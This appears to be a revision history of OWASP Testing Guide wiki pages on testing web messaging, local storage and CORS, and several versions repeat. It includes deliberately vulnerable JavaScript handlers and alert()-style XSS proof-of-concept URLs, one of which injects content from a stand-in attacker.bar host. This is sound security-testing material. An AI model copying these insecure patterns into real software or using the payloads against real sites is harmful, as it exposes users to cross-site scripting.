The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

data: The content of the incoming message
origin: The origin of the sender document.
source: source window

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

Origin Security Concept

The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always verified prior data manipulation.

event.data input validation

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==

Vulnerable code example:

<pre>
Access needed for every subdomain (www, chat, forums, ...)

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

www.owasp.org
chat.owasp.org
forums.owasp.org
...

This will represent a security risk as an attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: XSS

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin === "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
Whitepapers 
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html 
... 
Tools 
...

Test Web Messaging (OTG-CLIENT-011)

2013-12-14T23:03:47Z

Jgaliana: added OTG-CLIENT-006

== Brief Summary ==

Web Messaging also known as Cross Document Mesaging allow applications running in different domains to comunicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy enforced by the browser, however developers used multiple hacks in order to accomplish this tasks that were mainly insecure.

This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced withint he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.

The Messaging API introduced the <pre>postMessage()</pre> method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain. There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:

data: The content of the incoming message
origin: The origin of the sender document.
source: source window

Let's see an example:
<pre>
Send message:

iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);

Receive message:

window.addEventListener(“message”, handler, true);
function handler(event) {
if(event.origin === 'chat.example.com') {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
</pre>

== Description of the Issue ==

Origin Security Concept

The origin is made up of a scheme, hostname and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url.
For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to webservers running in the same domain but different port.
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish that is using a whitelist. Also within the sending domain, we also want to make sure they are explicity stating the receiving domain and not '*' as the second argument of postMessage() as this practise could introduce security concerns too, and could lead to, in the case of a redirection or the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.

In the case a developer failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risks so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message listeners, and get the callback function from the <pre>addEventListener</pre> method to further analysis as domains must be always verified prior data manipulation.

event.data input validation

Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via <pre>eval()</pre> or inserted into the DOM via the <pre>innerHTML</pre> property as that would create a DOM-based XSS vulnerability.

== Black Box testing and example ==

Vulnerable code example:

<pre>
Access needed for every subdomain (www, chat, forums, ...)

window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin.indexOf(".owasp.org")!=-1) {
/* process message (e.data) */
}
}
</pre>

The intention is to allow subdomains in this form:

www.owasp.org
chat.owasp.org
forums.owasp.org
...

This will represent a security risk as an attacker can easily bypass the filter as www.owasp.org.attacker.com will match

Lack of origin check, very insecure as will accept input from any domain:

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
/* process message (e.data) */
}
</pre>

Input validation example: XSS

<pre>
window.addEventListener(“message”, callback, true);

function callback(e) {
if(e.origin == "trusted.domain.com") {
element.innerHTML= e.data;
}
}
</pre>

This code will lead to Cross-Site Scripting (XSS) vulnerabiltiies as data is not being trated properly, a more secure approach would be to use the property textContent instead of innetHTML.

== References ==
Whitepapers 
http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html 
... 
Tools 
...

Test Local Storage (OTG-CLIENT-012)

2013-11-30T21:38:07Z

Jgaliana: web storage initial article

== Brief Summary ==

Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP).
There are two objects, localStorage that is persistent and sessionStorage that is temporary. On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data store in these two objects is stored in the client and never sent to the server.

== Description of the Issue ==
=== localStorage ===

Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage.
Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.
Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the same storage.

Data stored in this object will persist until the window is closed, it is a bad idea to store sensitive data on this object or session indentifiers as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.

=== sessionStorage ===

Main difference with localStorage is that the data stored in this object is only accesible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions.
It shares most of the properties and the getItem/setItem methods, so we will look for these identifiers in the code to check where in the code the storage is accesed.

== Black Box testing and example ==
'''Example 1: Access to localStorage:''' 
 
Access to every element in localStorage with JavaScript: 

<pre>
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), " = ", localStorage.getItem(localStorage.key(i)));
}
</pre>

same code can be applied to sessionStorage

Using Google Chrome, click on menu -> Tools -> Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'

[[File:storage-chrome.png]]

Using Firefox and the addon Firebug you can inspect easily inspect the localStorage/sessionStorage object in the DOM tab

[[File:storage-firefox.png]]

Also, we can inspect these objects from the developer tools of our browser.

'''Example 2: XSS in localStorage:''' 
 
Insecure assignment from localStorage can lead to XSS 

<pre>
function action(){

var resource = location.hash.substring(1);

localStorage.setItem("item",resource);

item = localStorage.getItem("item");
document.getElementById("div1").innerHTML=item;
}
</script>

<body onload="action()">
<div id="div1"></div>
</body>
</pre>

URL PoC:

http://server/StoragePOC.html#<img src=x onerror=alert(1)>

[[File:Storage-xss.png]]

== References ==

Whitepapers
…
http://www.w3.org/TR/webstorage/
more?

Tools
* '''Firebug''' - http://getfirebug.com/
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/
...

File:Storage-xss.png

2013-11-30T21:36:00Z

Jgaliana: Web Storage Issues: Input Validation, XSS

Web Storage Issues: Input Validation, XSS

File:Storage-firefox.png

2013-11-30T21:34:34Z

Jgaliana: Firefox/Firebug & Web Storage

Firefox/Firebug & Web Storage

File:Storage-chrome.png

2013-11-30T21:34:01Z

Jgaliana: Google Chrome Developer Tools & Web Storage

Google Chrome Developer Tools & Web Storage

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-11-30T20:37:11Z

Jgaliana: added CORS example screenshot

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>
 
[[File:CORS-example.png]]
 
== References ==
'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

File:CORS-example.png

2013-11-30T20:34:01Z

Jgaliana: CORS example from section Test Cross Origin Resource Sharing (OTG-CLIENT-002), OWASP Testing Guide

CORS example from section Test Cross Origin Resource Sharing (OTG-CLIENT-002), OWASP Testing Guide

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-09T20:12:19Z

Jgaliana: minor changes

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' 
 
Request (note the 'Origin' header:) 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:) 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

Upload screenshot of example2

 
== References ==
'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-09T20:11:35Z

Jgaliana:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' 
 
'''Request (note the 'Origin' header:)''' 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

'''Response (note the 'Access-Control-Allow-Origin' header:)''' 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

Upload screenshot of example2

 
== References ==
'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-09T20:10:45Z

Jgaliana:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

